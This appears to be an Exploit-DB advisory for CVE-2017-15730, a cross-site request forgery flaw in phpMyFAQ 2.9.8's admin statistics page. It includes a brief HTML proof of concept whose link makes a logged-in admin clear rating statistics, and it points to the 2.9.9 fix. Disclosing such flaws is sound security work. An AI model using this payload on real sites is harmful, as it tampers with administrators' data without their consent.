phpMyFAQ 2.9.8 - Cross-Site Request Forgery
Author: Nikhil Mittal
type: webapps
platform: php
port:
date_added: 2017-10-30
date_updated: 2017-10-30
verified: 0
codes: CVE-2017-15730
tags:
aliases:
screenshot_url:
application_url: http://www.exploit-db.comphpmyfaq-2.9.8.zip
# Exploit Title: phpMyFAQ 2.9.8 CSRF Vulnerability
# Date: 27-9-2017
# Exploit Author: Nikhil Mittal (Payatu Labs)
# Vendor Homepage: http://www.phpmyfaq.de/
# Software Link: http://download.phpmyfaq.de/phpMyFAQ-2.9.8.zip
# Version: 2.9.8
# Tested on: MAC OS
# CVE : 2017-15730
1. Description
In phpMyFAQ before 2.9.8, there is Cross-Site Request Forgery (CSRF) in admin/stat.ratings.php.
2. Proof of concept
<html>
<head>
<title>PHPMYSQL CSRF EXPLOIT</title>
</head>
<body>
<a href="http://127.0.0.1/phpmyfaq/admin/?action=clear-statistics">EXPLOIT!</a>
</body>
</html>
3. Solution
Update to phpMyFAQ Version 2.9.9
http://download.phpmyfaq.de/phpMyFAQ-2.9.9.zip